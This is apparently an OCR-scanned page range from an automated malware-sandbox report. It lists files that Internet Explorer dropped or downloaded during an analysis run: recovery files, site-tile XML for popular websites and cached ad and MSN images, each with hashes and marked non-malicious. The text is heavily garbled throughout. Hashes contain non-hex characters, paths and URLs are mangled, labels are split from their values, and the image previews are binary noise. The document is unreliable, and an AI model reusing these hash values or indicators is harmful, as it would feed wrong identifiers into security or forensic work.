3172DA1241CD746F2FADDE9947544C77E3171D3E
B31A030C41C56CEF0592106316957A966B87E433900D85B29958F10E3412014F
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C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{8A523B9B-5C93-11EB-90EB-ECF4ABBEA1588}.dat

SHA-512: B86085B8E1EFA3D42FFED57A67BBF7D0565AE3A1D4035937478F26BA5A4FD56B0503AACA24F8815C68EFB594727ED040EC35308A953457308D4E65A34B78426E
Malicious: false
Preview:

C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Recovery\High\Active\{8A523B9D-5C93-11EB-90EB-ECF4ABBEA1588}.dat

Process: C:\Program Files\internet exploreniexplore.exe

File Type: Microsoft Word Document

Category: dropped

Size (bytes): 28164

Entropy (8bit): 1.9258107801660982

Encrypted: false

SSDEEP: 192:r6/ZFQ576DkhFjZ28KWXM2YVE+wzUszknVIHVE+3V0+wzUszkQWA:r6h65+lhhoo828nwAszKI1nl3wAszRB

MDS5: C0120E668D1575F11A69B77C7C61C5EB

SHAL: 860E054CBD28051DD69CB3A7371478ED2D8C30B3

SHA-256: C100FE2EFBF981D47A1A2CA0CC2B6CE3871372E247224C4868EFAC25BE48B567

SHA-512: 9568D6A2C5AED6A471DEFDFFA3AEC2FC1CA697D59A1F9D737F69AC7CB4CDDDES5389A5F8BFA49BA88584D923BB88449682D9611D160D9301B55EBEB585311
AB

Malicious: false

Preview:

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{92E377B0-5C93-11EB-90EB-ECF4BBEA1588}.dat

Process: C:\Program Files\internet exploreniexplore.exe

File Type: Microsoft Word Document

Category: dropped

Size (bytes): 28144

Entropy (8bit): 1.916968977154759

Encrypted: false

SSDEEP: 192:r0/ZrQp76bkZFjx2wkWEMOY ZpwH1PwyqA:rOhEp+gZhgOX0QAFN

MD5: 8C4C87C6921D0847BIDOFA6BBEB3CE94

SHA1L: A9D15A474F51BEALIFBCDA2C17D82003611F58340

SHA-256: 8D368CFC6FBAFFAFB057C05AC0380E20A2BC73A0EEB3C970119B7337BESACA22
SHA-512: DD7843B2583F9830EB304C3F646530A45B1ACBAF06598DBOEB5C1F306653B8FE52960CC8A7DA35C38ECFE6978071E8D314DF907EB7715675C7E8111392479C0¢
Malicious: false

Preview:

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{9A732B57-5C93-11EB-90EB-ECF4ABBEA1588}.dat

Process: C:\Program Files\internet exploren\iexplore.exe

File Type: Microsoft Word Document

Category: dropped

Size (bytes): 16984

Entropy (8bit): 1.5668155866391176

Encrypted: false

SSDEEP: 48:lwgZGcprZGwpadZG4pQAGrapbSurGQpK8G7HpRwsTGIpG:rg/ZTQ476eBSUFAXTWAA

MDS5: 2E07B3DEA72BF0706B8CC7A2728C7F50

SHA1L: 168DAC3C33A07DDF157AB6A519F1BB57A115C9CE

SHA-256: 288AD66ADCC6499E6ABBODD6EB16EC75BC72B611B845905B50D5BA9ESDEF342DB

SHA-512: B3D4F49D8917B36085CF4F167C7A7474B27E31E805F3DB83D42DE10B947F2AB2C687543B4B387325AEC04AD9E2BFC1BB7B26D343B884284B2BFD7B6A18CF694
A

Malicious: false

Preview:

.R.0.0.t. .[E.n.tr.

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-17529550060\msapplication.xml
Process: C:\Program Files\internet exploreniexplore.exe
File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Copyright null 2021 Page 22 of 77



C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-17529550060\msapplication.xml

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

dropped

656

5.078330822996876

false

12: TMHANMNxOE6+3B+3eGCnWimI002EtM3MHANMNXOE6+3B+3eGCnWiml000YGVbKESs:2d6NXOSYASZHKA6NXOSYASZ7YLb
E8D23FEC6456747DOADA19DA2B7758B0

7ACBB78F9BE85139BDABBDEACABFD7C073B43B7F

D30884DA866CIDEBIFAAICAACIFBD3FAEOOD11FE89BFD8B72891C1C515069B3D
E59BD2CF544030A9A54164F0EB7626596AE7425AE91C7FD27B4A61258574D34D664650B5FE0BD034076443C8FC40023BD5A856C919029C77B9130DC7DC7236ES

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0x2ac43e92,0x01d6f0a0</date><
accdate>0x2ac43e92,0x01d6f0a0</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0x2ac43e92,0x01d6f0a0</date><accdate>0
x2ac43e92,0x01d6f0a0</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Twitter.url"/></tile
></msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-18270793970\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\internet exploren\iexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

653

5.104749935581551

false

12: TMHdNMNxe2kv6eGCnWiml002EtM3MHANMNxe2kv6eGCnWiml000Y Gkak6EtMb:2d6NxrsSZHKd6NxrsSZ7Yza7b
B698566C1A026A7TAFECAF4A5CF44C1F1

AB4D1189EBD106ADA57COACFA64C77C51DFABCF8
7FAB3F74E6B91E6630587655C35FC11F26AE4DOE9C63F09FCB852C8178FFD091
929F2C5F5B64648594B37C3718AEEA8927BFAFDE6A8825E3D8DB654305D6E4F3753B0785EAB131939C19A5F3F1700EBE91FC2D893BF434A7549FF7F9CBC0872/

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.amazon.com/'/><date>0x2abf79d2,0x01d6f0a0</date><a
ccdate>0x2abf79d2,0x01d6f0a0</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.amazon.com/"/><date>0x2abf79d2,0x01d6f0a0</date><a
ccdate>0x2abf79d2,0x01d6f0a0</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Am
azon.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-21706820\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\internet exploreniexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

662

5.026573240513829

false

12: TMHANMNXxvLYdKkGCnWimI002EtM3MHANMNXxvLYdkGChWiml000YGmZEtMb:2d6NxvPSZHKd6NxvPSZ7Yjb
71DOC1F000472FEB78A4B5EC32930FF9

59CAB3834FEDE0355A3AEB4D0A16F6754CAE2EOE
BOOD5DF94C819A51EFOAD24CB91A30B4EC2BAE1BB2DFCE4566090884DCB3A581
D2D75500368D94195CFE00BB268AF4A63DFOCIEE9I3D659ED48F8298884334E8C1960ACB458744608ED6C7D1589A4F426ED987D7182CBC438E478874095BA82B(

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.wikipedia.com/"/><date>0x2ac6a0e0,0x01d6f0a0</date>
<accdate>0x2ac6a0e0,0x01d6f0a0</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.wikipedia.com/"/><date>0x2ac6a0e0,0x01d6f0a0</date><accda
te>0x2ac6a0e0,0x01d6f0a0</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Wikipe
dia.url"/></tile></msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Tiles\pin-4759708130\msapplication.xml

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

Copyright null 2021

C:\Program Files\internet exploreniexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

647

5.081325057856631

false

12: TMHANMNXxILGCnWimI002EtM3MHANMNXIR+3eGCnWiml000YGd5EtMb:2d6Nx+SZHKd6NX/ASZ7YEjb
13B62D16D53FE2833C103C40E9F6CFC7

413A66E6E78FEF3ES5A73CBAA228CF1ESDC1B24C2
E63E85A13D2095E7DAC83C84AFEF42D496FC5E8F14F42E1195802FFDF181A0F0
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C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Tiles\pin-4759708130\msapplication.xml

SHA-512:

Malicious:

Preview:

35D526303DF4305CF66A5EC08914DB97CC8D1DFIE767AB4BBCD23D285CDDB055898D266E68B221EEODDA3F3B376D97F4176F5FFCEC0509ED6121B81CC617F
A4

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.live.com/"/><date>0x2ac1dc45,0x01d6f0a0</date><acc
date>0x2ac1dc45,0x01d6f0a0</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml
version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.live.com/"/><date>0x2acldc45,0x01d6f0a0</date><accdate>0x2ac43
€92,0x01d6f0a0</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Live.url"/></tile>
</msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-6757900\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\internet exploren\iexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

656

5.042142035127609

false

12: TMHANMNxhGwY dkGCnWiml002EtM3MHANMNxhGwYdkGCnWiml000YG8K075EtMb:2d6NxQaSZHKd6NxQaSZ7YrKajb
4C3C20DCAF88B809A7EFEEIC7C53ACE2

2697C618BAB77D292B34D4C9567C02CAEB1E9214
308D22158348DF543D025151D913D8EOBCD51CC417BD9D5790C270C1056CDF2B

20442B6B2E3D828F6F3BDC1CAADF5AC3F16CB4C1FA19A4F2AES8FBDE7357F344C49A8A17C92EE940FCE280D2D55439CES8CA0498F59C5E4E6GEG65918621A81
A7

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0x2ac6a0e0,0x01d6f0a0</date><
accdate>0x2ac6a0e0,0x01d6f0a0</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0x2ac6a0e0,0x01d6f0a0</date><accdate>0
x2ac6a0e0,0x01d6f0a0</accdate></config><tile><wide310x150logo/><square310x310logo/><square 70x70logo/><favorite src="C:\Users\user\Favorites\Youtube.url"/>
</tile></msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Tiles\pin-8760897390\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\internet exploreniexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

653

5.082021388198423

false

12: TMHdNMNXx0n6+3B+3eGCnWiml002EtM3MHANMNXx0Nn6+3B+3eGCnWiml000Y GXEtMb:2d6Nx0JYASZHKJENX0JYASZ7Ygh
D598FF82CD4905CD377B2D2E37503A43

4F8327495D8A8D739B66E3D26B467048BCC2BAA9
FDA72EA472E892518A40D9C5FB96D42844B07D26BC5361565474EB7B559B1AA9

DE7C4B151FF97BFF5714E4EC5375BBAESD754A153AF5075ECD191FD5705B288B031EE29541F7B06E39C722F44ED1A2CD5504C16FC5707DB90FCC7A25100D21:
D

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.reddit.com/"/><date>0x2ac43e92,0x01d6f0a0</date><a
ccdate>0x2ac43e92,0x01d6f0a0</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.reddit.com/"/><date>0x2ac43e92,0x01d6f0a0</date><accdate>0x2
ac43e92,0x01d6f0a0</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Reddit.url"/></tile>
</msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Tiles\pin20259167780\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

Copyright null 2021

C:\Program Files\internet exploreniexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

656

5.11796610232467

false

12: TMHANMNxx6+3B+3eGCnWiml002EtM3MHANMNxx6+3B+3eGCnWiml000YG6Kg5Ety:2d6NxvYASZHKA6NXVYASZ7Yhb
EOCBA3A6A5A63B31B2C16855119A0E69

50977FBF758E2B8FF8A7EEB74A95E9993B71793C
9CE906064150EB8FACEO57DEAALFF42680FCA53952E643FB610E3422B24EESAC
53655D2BD4DAB50DCA3E515223C9B7051593F9474836F6B8C706CCC85377534956F8528A736F9A5C5A137CASDC56CEAS8D25E74106B12657F5F763F4209B3FBL

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.nytimes.com/"/><date>0x2ac43e92,0x01d6f0a0</date><
accdate>0x2ac43e92,0x01d6f0a0</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.nytimes.com/"/><date>0x2ac43e92,0x01d6f0a0</date><accdate>0
x2ac43e92,0x01d6f0a0</accdate></config><tile><wide310x150logo/><square310x310logo/><square 70x70logo/><favorite src="C:\Users\user\Favorites\NY Times.url"/>
</tile></msapplication></browserconfig>..
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C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Tiles\pin20332743330\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\internet exploreniexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

659

5.07181344063471

false

12: TMHANMNxcLGCnWiml002EtM3MHANMNxcLGCnWiml000YGVEtMb:2d6NxgSZHKA6NXxgSZ7Ykb
FDBACC4E00166C55FA650EEA9AAIEA3S

B9B6683EBIECCDD60ACOD07D4AFFEFEDDOF4AA37
5737C4A4197799C3B949907ECABFA3E301DF176564E0C217C1BE2FA2349AF63A
AB831EF1104C4B0D3B491E4051F35EAA256891754949CA5526E1DC496A38300AA9FCB9C3A33BDEAAZ2EIIF449D52E7D3770FEF1925670FFABOF9B3233104421F0

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0x2ac1dc45,0x01d6f0a0</date>
<accdate>0x2acldc45,0x01d6f0a0</accdate></config><tile><wide310x150logo/><square310x310logo/><square 70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0x2acldc45,0x01d6f0a0</date><accdate
>0x2acldc45,0x01d6f0a0</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Facebook
.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\internet Explorer\Tiles\pin8215062560\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\internet exploreniexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

653

5.055582702863978

false

12: TMHANMNXxfnLGCnWiml002EtM3MHANMNXxfnLGCnWiml00OYGe5EtMb:2d6NxpSZHKA6NXpSZ7YLjb
50CC4AEF22C2A56860A71221578BEB63

4D9AA5A64BA9F9927809CA598DFCDOF527F74970
95302BD3D296903E143DC26F6AACBCB8322B28E7C02B3AE30226CE6B7315360C

9764EB1DDA249935A0877B4B2B8FA74FA3B044B7C5A74860569616D07BDA2B863DA20D99F9D254C7CB888A817EE1C4ABIC6AEDB35506EBO09BA2A70D6A038BF
F2

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.google.com/"/><date>0x2acldc45,0x01d6f0a0</date><a
ccdate>0x2acldc45,0x01d6f0a0</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.google.com/"/><date>0x2acldc45,0x01d6f0a0</date><accdate>0x2
acldc45,0x01d6f0a0</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Google.url"/></tile>
</msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\Internet Explorerlimagestore\gee00Opriimagestore.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

data

dropped

934

7.030342504011276

false
24:u6tWaF/6easyD/iICHLSWWqyCoTTdTc+yhaX4b9upGy:u6tWu/6symC+PTCq5TcBUX4bw
C421B368A91367FCE1C6A9223F18851B
E07BB102F2CC41BE31D94DAA8B47115F6FE743394
21A24774144DDI9C463CCLASE05F64163EA2F6EB652EA9BF5FALBO6C572F0B9AS
89F9DF3C78625CC6870B4CFF935712390DA282ECI1B465B2E07A5B799C0612B162B74B404E026755C934C6FA523340B44E94E1E94E53450584A2DE35667F4A68

false

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\2WF3MMUU\87e5c478-82d7-43e3-8254-594bbfda55c7[1].jpg

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x300, frames 3
downloaded

65009

7.978070488745874

false

1536:9FPgE3ptIMp+ZIzOaTc5+vRDXjHyghLhZa:9FPN37+p+ZHTcOvBjhLO

7C62F2F02EF85B35216972F6294E279D
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\2WF3MMUU\87e5c478-82d7-43e3-8254-594bbfda55c7[1].jpg
SHAL: CAAGE45B4EDC3B8E14B78D78EBA891B20D7B10DD

SHA-256: BCOE5E2000EE4C67C13331AAEF6B085ACC2280A64AA4ADAAFE23FFATF6F527AF

SHA-512: 8BBIBEO055FE514818F158B8E037C6BOADED54F6E81066A955DD85EA2A0D2ECEE01A584A48C8DE46660F789743DBA6D6BOF440AD6BABAFAD664139910311F8(
C

Malicious: false

|IE Cache URL: hitp://https://cvision.media.net/new/300x300/3/88/228/173/87e5c478-82d7-43e3-8254-594bbfda55¢7.jpg?v=9

Preview:

..C
.#2Q....$BR...3..%4Cb..r.T..&7DSds Q... 1A.Q."ag2....B.. #R....3b...$4Cr.Scs. ... VD[...
Heomk?2~XoVoin Ll AGL LW LD LLLL0#A,.@. a..._...0~"\W../..SH3S..%z....]. QWS2.&r.. @.B.=..q1...0.f.L=.... 2.dg.\dmL P +M-alU X
j.Y.b.J._..Sb.@....c.2v...d...-.2T2..m".D..4. #£{.Y..6./..".1.1.2.{Mw ~.0..Q30.R.0.C. .y<..nd.6 ... z.Y-CJAC.d.V..h.,; g>.) w%...ILl....z...Z.
dR./hubx . $ALLENLLHSL L 7..20.30 M XL ks 1 KDL X g e QLY S L= L0\

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\2WF3MMUU\BB15AQNmM[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 192x192, segment length 16, baseline, precision 8, 622x368, frames 3

Category: downloaded

Size (bytes): 23518

Entropy (8bit): 7.93794948271159

Encrypted: false

SSDEEP: 384:7XNEQW40G0oP8X397crjXt1/v2032/EcJ+eGovCO2+m5fC/IWL2ZSwdeL5HER4ycP:7uf4ik390Xt1vP2/RVCgm5foMyDdeiRU

MDS5: C701BB9A16E05B549DA89DF384ED874D

SHA1L: 61F7574575B318BDBEOBADB5942387A65CAB213C

SHA-256: 445339480FB2AE6C73FF3A11F9F9F3902588BFB8093D5CC8EF60AFBEF9C43B35

SHA-512: AD226B2FE4FF44BBBAOODFA6A7C572BD2433C3821161F03A811847B822BA4FCIF311AD1A16C5304ABEB68BOFALF548BBAEF988D87345AEB579BIF31A74D5BF:
C

Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB15AQNmM.img?h=368&w=622&m=6&0q=60&u=t&o=t&I=f&f=jpg&x=868&y=379

Preview:
...... JFIF..ccciiie.Criiie . 1)10.)-,3:3>36F7,-@WAFLNRSR2>ZaZP  JQRO...C.......&..&05-500000000000000000000000000000000
0000000000000 0000OO0 ... PN it § 11A..Qa."q.2...#B...R..$3br........ %&()*456789:CDEFGHIJSTUVWXY Zcdefghijstuvwxyz
11..AQ.aq."2...B....#3R..br...$4.%.....&'()*56789: CDEFGHIJSTUVWXY Zcdefghijs
i..IR2...MpR.."E....&EYV..N,j...e.j..U,.*..BZ...qQM.dT...@..8..s..i..}....n..D...i.....

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\2WF3MMUU\BB1cEP3G[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 27 x 27, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 1103

Entropy (8bit): 7.759165506388973

Encrypted: false

SSDEEP: 24:3WI+1gOC+JJAMrPGUDIRNO20LMDLspJg9a+VXKJIL3fxYSIP:sWYjJI3rPFWToEspJq9DaxWSA

MD5: 18851868AB0A4685C26E2D4C2491B580

SHA1L: 0B61A83E40981F65E8317F5C4A5C5087634B465F

SHA-256: C7F0A19554EC6EAGE3CIBD09F3C662C78DC1BF501EBB47287DED74D82AFD1F72

SHA-512: BDBADO03B8BCA28DC14D4FF34AB8EAGAD31D191FF7F88F985844D0F24525B363CF1D0D264AF78B202C82C3E26323A0F9A6C7ED1C2AE61380A613FF41854F2E6
7

Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1cEP3G.img?h=27&w=27&m=6&0=60&u=t&o=t&|=f&f=png

Preview:

.U...sRGB......... pPHYS.......... 0.d....IDATHK..[N\E...3.I....... k...AZ->.}S./J.5 (H.A'E..Q....A.$.}...(V..B4.f... L 3H2.<.%)

q=.%&S.S .0.~>.=.n[G.. 9. ].s6d. .D:A.M..9E..".,.L
....... Imj...,~...0g....<H..6......].zrx.3..KKs..(.j..aW...\. X...O......2v.. ."EH...LY 1t~ & L. ()p7.E.N<.@.F AT 2. HoveawKk. {9..1A,,

%L nW[LAQS......d2k{7..&i........ O 0..=n\X...Lv.....;gNeC..[*).... £ .M. .i.mv.K....Y"Y A JA.E).c..=m.7,.<9..0-..AE..b......D*;...Noh[JTd.. ............. pD..7..0..

T..XkL.ha. {..KTyZ..Pw.P..lp../...=.kg+

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachellE\2WF3MMUU\BB1cY10a[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 310x166, frames 3
Category: downloaded

Size (bytes): 9339

Entropy (8bit): 7.936771143861024

Encrypted: false

SSDEEP: 192:BFYqlikEaMvTv6ulPge+PewCkk23QAFVYIkloPOEfWT/a:vYq4o6bs3SakkEIFISPOEaS

MDS5: F5048E55C8EC3F651CFFOCB5EOD54FDD

SHA1L: 1A2C45DEF787FB8017524D447079CF3EE03CC282

SHA-256: 08572F1A19623B1AF059EC284FDAOA3ELCFBD773DA768CA03AAF3D451574CD75
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCachellE\2WF3MMUU\BB1cY10a[1].jpg

SHA-512:

Malicious:
|IE Cache URL:

Preview:

B336935C3E50F0BC4CE22D9DD1994276A044439A16FDB5B5C3FA3BB13A7705BACCFAO05A06CB20E90EBOF187BB7C50F5F4C2D3DA7768F27BD9B7D5888891B1
5

false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1cY 10a.img?h=166&w=310&m=6&q=60&u=t&o=t&I=f&f=jpg

...... JFIF ooy Cooioerrceeees v )10.)-,3:3>36F 7,-@WAFLNRSR2>ZaZP JQRO...C.......&..&05-500000000000000000000000000000000
11A..Qa."q.2... #B...R..$3br........ %&'()*456789:CDEFGHIJSTUVWXY Zcdefghijstuvwxyz
W l1.AQ.a0."2...B.... #3R..br..$4.%.....&'()*56 789:CDEFGHIJSTUVWXY Zcdefghis
tuvwxyz. ?2..&*LRb..#.& LRb...LT.." #.&*LRb...&).....(L.LP.1I.....3.b..1@\..b... $i.E........ Wh..T.RTUS.T..K$0".....q..\V.+%.
.......... 1.0...%.fU.(....8}..R.N...8.".......F.9%.U.by.-.8.%.;.<1V..= ZHA=9 X.....i........@$..9..U0.QM......y.....F...t....y...p.).].O.F...8=2.Z. HUp.z#.... Z..... .U...... J[BENW*.
2..UX.2dim iz

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\2WF3MMUU\BB1cYLLX[1].jpg

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 206x250, frames 3
downloaded

8341

7.947895418043885

false

192:BCy4twdn/Oq0dkRvoOMJIf5L1pjGuMwKyQ/bHVcgOL+CnbkyA4iFZKDv:kytJ/qd8viMJIf5ZKVjU+CnddivK
B8DD8D91981418761DE38452D1DA217C

EOBA894170CBFD1FECCOE99DB5A60712F014CDE6
C1406DCA2CB7F600CB41A7A2AD92E85498B31A4ED8179AF73DE10B752B70F56E
26609F16AA872850F4D8AA3EE43F7C2193540CD23E1AB12C40FBE01992091E98F182C7ACEF94D127CF889796CD93EOC1E062F8D07CCODCFES11882A12D1D2B!

false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1cYLLX.img?h=250&w=206&m=6&q=60&u=t&o=t&I=f&f=jpg&x=558&y=263

&'()*56789:CDEFGHIJSTUVWXY Zcdefghijs

tuvwxyz bL..2.}..2.9.3.'v.==....%}3.Qi.%..2V....4r.5..&....\ _\)%..
Q.V. .Jj.[e..}F..Rc...08d....Z..n.|...Y..E.B..xU3u6r...R..gsk..._.O.IB.W .My.rH..b.w..sF.n-.B.).....r>.....gK.).....AQ.[...(:8....TM...=
W HF>L)5r& 4z AU, R}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCachellE\2WF3MMUU\BB1cYNie[1].jpg

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 310x166, frames 3
downloaded

9443

7.942327517718017

false

192:BF7Sebc6afV412c/MtmQUg557WNN1WOMtTKMwyclZetUULcl:v7Sebg6IDEdXo2DtTncyLcl
CEC50D7BFF1587BCE87C81078AFD3909

B5F4F99EF84D819C1EA13BOA9869E6D676AF2FIE
AC3532252E5D02872A0FA49EBB3F3CF43B6CBADI6FEICEGEB3EESA86A087483D
5A7DFAE53F37680A48D6841B81FF9A663C046767E645B748BADBC01898B842572FDDA75829E808801E363891E8CB638C8B2BC6BOCFB5AD8598E622CD4A1D081
false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1cYNie.img?h=166&w=310&m=6&0=60&u=t&o=t&I=f&f=jpg

...... JFIF i Cooiorrrrceeens v )10.)-,3:3>36F7,-@WAFLNRSR2>ZaZP JQRO...C.......&..&05-500000000000000000000000000000000
000000000000000000........6.." 11A..Qa."q.2... #B...R..$3br........ %&'()*456789:CDEFGHIJSTUVWXY Zcdefghijstuvwxyz
11..AQ.aq."2...B.... #3R..br...$4.%. .. & ()*56789:CDEFGHIJSTUVWXY Zcdefghijs
